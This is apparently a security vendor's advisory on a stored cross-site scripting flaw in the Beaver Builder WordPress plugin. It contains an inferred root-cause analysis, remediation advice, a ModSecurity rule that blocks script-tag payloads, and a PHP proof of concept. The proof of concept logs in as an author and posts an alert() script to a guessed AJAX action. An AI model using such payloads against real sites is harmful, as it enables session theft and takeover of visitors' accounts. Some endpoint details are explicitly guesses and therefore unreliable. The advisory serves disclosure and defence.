Atomic Edge analysis of CVE-2026-2481 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Beaver Builder Page Builder plugin, version 2.10.1.1 and earlier. The issue exists in the ‘settings[js]’ parameter, allowing authenticated attackers with author-level access or higher to inject malicious scripts. The CVSS score of 6.4 indicates medium severity with network attack vector and low privileges required.
Root Cause: Based on the CWE-79 classification and vulnerability description, the root cause is insufficient input sanitization and output escaping on the ‘settings[js]’ parameter. Atomic Edge analysis infers that the plugin likely stores user-supplied JavaScript code within post metadata or a custom field without proper validation. The plugin probably retrieves this stored data and outputs it directly into the page HTML without encoding, allowing script execution. This is confirmed by the CWE classification, which directly maps to cross-site scripting vulnerabilities where user input is improperly neutralized during web page generation.
Exploitation: An authenticated attacker with author-level access can exploit this vulnerability by crafting a malicious payload and submitting it through the ‘settings[js]’ parameter. The attack likely targets the Beaver Builder’s AJAX handler or REST API endpoint that saves row/column/module settings. The specific endpoint is probably an admin-ajax.php action like ‘bb_save_settings’ or a custom REST route. The payload would be a JavaScript string containing event handlers or script tags, e.g., alert(‘XSS’) or
. When any user, including administrators, accesses the compromised page, the injected script executes in their browser context.
Remediation: The fix requires implementing proper input sanitization and output escaping on the ‘settings[js]’ parameter. The plugin should use WordPress functions like wp_kses() or sanitize_text_field() when storing the data, and esc_js() or esc_html() when outputting it. Additionally, the plugin should validate that only allowed JavaScript functionality is permitted, possibly by restricting to safe JavaScript constructs or using Content Security Policy headers. The patched version 2.10.1.2 likely applies these fixes.
Impact: Successful exploitation allows an authenticated attacker to inject arbitrary JavaScript into pages, leading to session hijacking, cookie theft, keylogging, defacement, or redirection to malicious sites. The attacker can target any user visiting the compromised page, potentially escalating privileges if an administrator views the injected content. Since the XSS is stored, it persists across page loads and affects all visitors.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2481 (metadata-based)
# Block exploitation of Stored XSS via settings[js] parameter in Beaver Builder
# Targets the AJAX endpoint that saves JS settings
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261981,phase:2,deny,status:403,chain,msg:'CVE-2026-2481 Beaver Builder Stored XSS via settings[js]',severity:'CRITICAL',tag:'CVE-2026-2481'"
SecRule ARGS_POST:action "@streq fl_builder_save_settings"
"chain"
SecRule ARGS_POST:settings%5bjs%5d "@rx <script[^>]*>.*</script[^>]*>|<[^>]*onerror[^>]*=|javascript:"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2481 - Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'settings[js]'
// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'author'; // WordPress username with Author or higher role
$password = 'password'; // Password for the user
// Step 1: Login to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
// Step 2: Create a new post with Author role (if not already existing)
// First, get the nonce for creating posts via REST API
$rest_nonce_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-WP-Nonce: ')); // Placeholder, need actual nonce
// For simplicity, assume we have a post ID to target (e.g., 123)
$post_id = 123; // CHANGE THIS to an existing post/page ID that the author can edit
// Step 3: Exploit the vulnerability by sending a crafted AJAX request
// The AJAX action is likely 'fl_builder_save_settings' or similar based on plugin slug
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// XSS Payload: Stored script that executes when page is viewed
$payload = "<script>alert('CVE-2026-2481 XSS');</script>";
// The settings[js] parameter is likely sent via POST
$exploit_data = array(
'action' => 'fl_builder_save_settings', // Inferred action name, may vary
'post_id' => $post_id,
'settings[js]' => $payload,
'fl_builder_nonce' => '' // Nonce is likely not checked or bypassed in vulnerable versions
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Payload sent successfully. Check the page at: " . $target_url . "/?p=" . $post_id . "n";
echo "[+] If XSS triggers, you should see an alert box when viewing the page.n";
} else {
echo "[-] Failed to send payload. HTTP code: " . $http_code . "n";
}
// Clean up cookie file
unlink('/tmp/cookies.txt');
?>